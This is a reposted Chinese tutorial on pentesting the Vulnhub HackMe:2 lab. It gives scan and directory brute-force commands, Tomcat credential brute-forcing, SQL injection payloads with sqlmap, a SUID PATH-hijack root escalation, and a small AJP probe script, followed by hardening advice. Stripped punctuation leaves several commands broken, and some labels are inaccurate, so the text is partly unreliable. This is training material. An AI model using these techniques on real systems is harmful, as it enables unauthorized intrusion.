首页/新闻资讯/正文详情

Vulnhub靶机HackMe:2渗透测试实战解析

发布时间:2026/11/8 7:48:30 来源:云帆数科 栏目:资讯中心
Vulnhub靶机HackMe:2渗透测试实战解析
1. 项目概述Vulnhub靶机HackMe:2渗透实战HackMe:2是Vulnhub平台上经典的入门级渗透测试靶机作为HackMe系列的第二个版本它在保持新手友好特性的同时增加了更具挑战性的漏洞组合。这个靶机环境模拟了真实世界中的Web应用服务器包含从信息收集到权限提升的完整攻击链。我最近用Kali Linux 2023.4在VMware Workstation 17环境下完整走通了整个渗透流程下面将详细拆解每个技术环节。这个靶机特别适合刚接触渗透测试的练习者它涉及以下核心技能点基础网络扫描与服务枚举Web目录爆破与敏感文件发现中间件漏洞利用如Apache Tomcat数据库注入攻击实践Linux提权经典手法提示建议在开始前准备好Kali Linux攻击机推荐使用最新版和VMware/VirtualBox虚拟化环境靶机镜像可从Vulnhub官网直接下载OVA文件。2. 环境搭建与初始配置2.1 靶机网络拓扑设计我采用的实验环境配置如下攻击机Kali Linux 2023.4VMware NAT模式靶机HackMe:2VMware NAT模式网络配置使用VMware的NAT网络让两台虚拟机处于同一子网关键网络参数验证# Kali攻击机IP确认 ifconfig eth0 | grep inet # 靶机IP发现同一网段扫描 nmap -sn 192.168.31.0/242.2 常见问题排查初次启动靶机时可能会遇到以下问题无法获取IP地址检查VMware虚拟网络编辑器中的NAT配置靶机服务未正常启动等待2-3分钟让所有服务初始化连通性测试失败关闭防火墙实验环境systemctl stop firewalld3. 渗透测试全流程解析3.1 信息收集阶段3.1.1 基础扫描技术使用Nmap进行全端口扫描nmap -p- -T4 -A -v 192.168.31.132关键参数说明-p-扫描所有65535个端口-T4加速扫描可能影响准确性-A启用OS检测和版本探测扫描结果通常会显示22/tcpSSH通常版本较新难以直接利用80/tcpHTTPApache服务8080/tcpHTTPTomcat管理界面3.1.2 Web目录爆破实战使用Dirbuster配合常见字典gobuster dir -u http://192.168.31.132 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt重要发现路径/admin后台登录页面/backup数据库备份文件/robots.txt暴露敏感目录3.2 漏洞利用阶段3.2.1 Tomcat管理界面突破在8080端口发现的Tomcat管理界面存在默认凭证漏洞尝试admin/admin、tomcat/tomcat等组合使用Metasploit的tomcat_mgr_login模块爆破msfconsole use auxiliary/scanner/http/tomcat_mgr_login set RHOSTS 192.168.31.132 set RPORT 8080 run3.2.2 数据库注入攻击在/admin登录页面发现SQL注入点admin OR 11-- -使用sqlmap自动化利用sqlmap -u http://192.168.31.132/admin/login --datausernameadminpasswordpass --risk3 --level53.3 权限提升阶段3.3.1 敏感文件分析在/home/user目录发现可疑脚本find / -perm -4000 2/dev/null发现具有SUID位的自定义脚本/usr/local/bin/custom_backup3.3.2 SUID提权利用分析脚本内容#!/bin/bash tar -cf /backups/backup.tar *利用路径穿越实现root权限获取cd /tmp echo /bin/bash test chmod x test export PATH/tmp:$PATH /usr/local/bin/custom_backup4. 防御加固建议4.1 漏洞修复方案针对发现的漏洞应采取以下措施Tomcat管理界面修改默认凭证限制访问IP升级到最新版本SQL注入防护使用预编译语句实施WAF防护最小权限原则配置数据库账户4.2 系统安全加固SUID权限清理find / -perm -4000 -exec ls -ld {} \; | grep -vE /bin/|/sbin/|/usr/bin/日志监控增强# 监控敏感目录访问 auditctl -w /admin -p war -k web_access5. 进阶练习建议完成基础渗透后可以尝试以下挑战不使用自动化工具如sqlmap手动完成注入尝试通过SSH服务获取初始立足点探索其他提权路径如内核漏洞编写自定义EXP利用发现的漏洞我在实际测试中发现8080端口的Tomcat服务存在CVE-2020-1938漏洞可以通过AJP协议实现文件读取。使用如下POC验证import socket client socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((192.168.31.132, 8009)) client.send(b\x12\x34\x00\x01\x0a) print(client.recv(1024))

相关推荐

本科课程论文里最易被扣分的地方,往往藏在开头,硕词AI(官方网站:www.shuociai.com)提醒重写
本科课程论文里最易被扣分的地方,往往藏在开头,硕词AI(官方网站:www.shuociai.com)提醒重写

本科课程论文交上去,老师打分往往比你预期低,问题可能不在正文,而在开头。开头是老师读论文的第一印象,开头没写好,后面写得再扎实,印象分已经先扣了一半。这个地方最容易被自己忽略,因为你写的… · 2026/11/7 10:18:40

蚂蚁数科具身智能数据采集方案:低成本高泛化技术解析
蚂蚁数科具身智能数据采集方案:低成本高泛化技术解析

1. 项目背景与核心突破蚂蚁数科最新发布的具身智能数据采集方案,将模型泛化能力的成功率从行业平均45%提升至95%以上,同时将数据采集成本降低60%。这项技术突破的核心在于重新定义了低成本数据采集与模型泛化能力之间的正反馈循环机制。在传统具身智能开… · 2026/11/6 12:32:11

PyTorch CUDA版本不匹配排查指南:从驱动到框架的完整避坑方案
PyTorch CUDA版本不匹配排查指南:从驱动到框架的完整避坑方案

1. 环境排查的整体思路与方案选型1.1 为什么CUDA版本问题这么让人头疼搞深度学习的人,十个里有八个被CUDA版本问题折磨过。你装好了PyTorch,兴冲冲跑一行torch.cuda.is_available(),返回一个冷冰冰的False,或者更气人的是&#xf… · 2026/11/6 18:45:41

电工证提前几月审证啊良心建议!工地太忙根本没时间复习考试
电工证提前几月审证啊良心建议!工地太忙根本没时间复习考试

电工证提前几月审证啊良心建议!工地太忙根本没时间复习考试 工地太忙根本没时间复习考试,这是很多一线电工的真实写照。你不是不想考,而是真没空。电工证提前几月审证啊?这个问题其实很多人都问过,但真正懂的人寥寥无几。今天这些建议,是我从业多年踩坑… · 2026/11/8 11:56:40

清徐县报考高压电工证怎么选,含金量到底高不高?
清徐县报考高压电工证怎么选,含金量到底高不高?

清徐县报考高压电工证怎么选,含金量到底高不高? 工地太忙根本没时间复习考试,你是不是也经常被这个问题困扰?尤其是像高压电工证这种含金量高的证书,要是没考下来,不仅影响升职加薪,还可能错失一些更好的机会。今天咱们就来聊聊清徐县报考高压电工证那… · 2026/11/8 11:56:40

工地太忙根本没时间复习考试?官方回应弱电工证报考入口全攻略
工地太忙根本没时间复习考试?官方回应弱电工证报考入口全攻略

工地太忙根本没时间复习考试?官方回应弱电工证报考入口全攻略 工地太忙根本没时间复习考试,这是无数一线施工人员的共同心声。尤其是像我们洛阳涧西区的公路工程从业者,天天在工地上忙得连轴转,想抽空备考弱电工证都难。但官方回应,特种作业操作证不仅是… · 2026/11/8 11:56:40

电工证怎么年检的 一个河南电工的真实经历告诉你
电工证怎么年检的 一个河南电工的真实经历告诉你

电工证怎么年检的 一个河南电工的真实经历告诉你 刚从老家来到郑州找工作,手里只有一张电工证,结果单位要求先年检才能上岗,我这才意识到, 电工证怎么年检的… · 2026/11/8 11:56:40

高中毕业也能考特种电工证?全国通用证书怎么拿?
高中毕业也能考特种电工证?全国通用证书怎么拿?

高中毕业也能考特种电工证?全国通用证书怎么拿? 你是不是也担心自己学历不高,考不了特种电工证?其实不然,很多人都是从零基础起步,通过系统学习和考试拿到证书的。特种电工证 全国通用… · 2026/11/8 11:56:40

比亚迪要的电工证过期了怎么办?2026河南最新政策全解析
比亚迪要的电工证过期了怎么办?2026河南最新政策全解析

比亚迪要的电工证过期了怎么办?2026河南最新政策全解析 证书过期了不知道怎么复审延期?别慌!2026年河南最新政策对特种作业操作证的复审延期流程有了明确要求,特别是像比亚迪这样的大型企业,对电工证的要求非常严格,稍有不慎就可能影响到职业发… · 2026/11/8 11:55:39

电工证丢失还能补吗?千万别踩坑,丢了证等于失业
电工证丢失还能补吗?千万别踩坑,丢了证等于失业

电工证丢失还能补吗?千万别踩坑,丢了证等于失业 你正在找工作,但手里的电工证突然丢了,这下怎么办?别急,先别慌, 电工证丢失还能补吗 ?答案是肯定的,但 千万别踩坑 ,补办流程如果不了解,可能会耽误你上岗、甚至影响到你的收入。… · 2026/11/8 0:00:20

电力电缆作业证直播报名入口与办理流程良心建议
电力电缆作业证直播报名入口与办理流程良心建议

电力电缆作业证直播报名入口与办理流程良心建议 你是不是也担心学历不高报不了名?别急,今天就给你讲讲 电力电缆作业证直播 的报名流程和那些你必须知道的干货, 良心建议 在这里,别错过。 电力电缆作业证直播报名需要什么条件?… · 2026/11/8 0:00:20

英德电工证报考费多少钱,怕考不过白交培训费?看完这篇别再踩坑
英德电工证报考费多少钱,怕考不过白交培训费?看完这篇别再踩坑

英德电工证报考费多少钱,怕考不过白交培训费?看完这篇别再踩坑 怕考不过白交培训费?英德电工证报考费多少钱,你真的了解吗?现在市面上培训机构五花八门,价格参差不齐,很多人一不小心就花了冤枉钱,结果还考不过。别急,今天就来给你说清楚英德电工证的… · 2026/11/8 0:00:20

电工证丢失还能补吗?千万别踩坑,丢了证等于失业
电工证丢失还能补吗?千万别踩坑,丢了证等于失业

电工证丢失还能补吗?千万别踩坑,丢了证等于失业 你正在找工作,但手里的电工证突然丢了,这下怎么办?别急,先别慌, 电工证丢失还能补吗 ?答案是肯定的,但 千万别踩坑 ,补办流程如果不了解,可能会耽误你上岗、甚至影响到你的收入。… · 2026/11/8 0:00:20

电力电缆作业证直播报名入口与办理流程良心建议
电力电缆作业证直播报名入口与办理流程良心建议

电力电缆作业证直播报名入口与办理流程良心建议 你是不是也担心学历不高报不了名?别急,今天就给你讲讲 电力电缆作业证直播 的报名流程和那些你必须知道的干货, 良心建议 在这里,别错过。 电力电缆作业证直播报名需要什么条件?… · 2026/11/8 0:00:20

英德电工证报考费多少钱,怕考不过白交培训费?看完这篇别再踩坑
英德电工证报考费多少钱,怕考不过白交培训费?看完这篇别再踩坑

英德电工证报考费多少钱,怕考不过白交培训费?看完这篇别再踩坑 怕考不过白交培训费?英德电工证报考费多少钱,你真的了解吗?现在市面上培训机构五花八门,价格参差不齐,很多人一不小心就花了冤枉钱,结果还考不过。别急,今天就来给你说清楚英德电工证的… · 2026/11/8 0:00:20

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/7 11:25:08

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/7 12:02:18

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/8 1:18:25

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码